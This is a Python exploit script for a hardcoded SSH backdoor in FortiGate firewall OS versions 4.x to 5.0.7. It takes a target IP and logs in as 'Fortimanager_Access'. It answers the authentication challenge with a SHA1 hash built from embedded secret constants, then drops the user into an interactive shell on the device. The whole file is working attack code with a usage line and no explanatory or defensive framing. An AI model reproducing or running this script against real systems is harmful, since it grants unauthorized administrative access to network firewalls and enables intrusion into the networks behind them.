#!/usr/bin/env python
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>
import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty
def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]
def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
if __name__ == '__main__':
main()
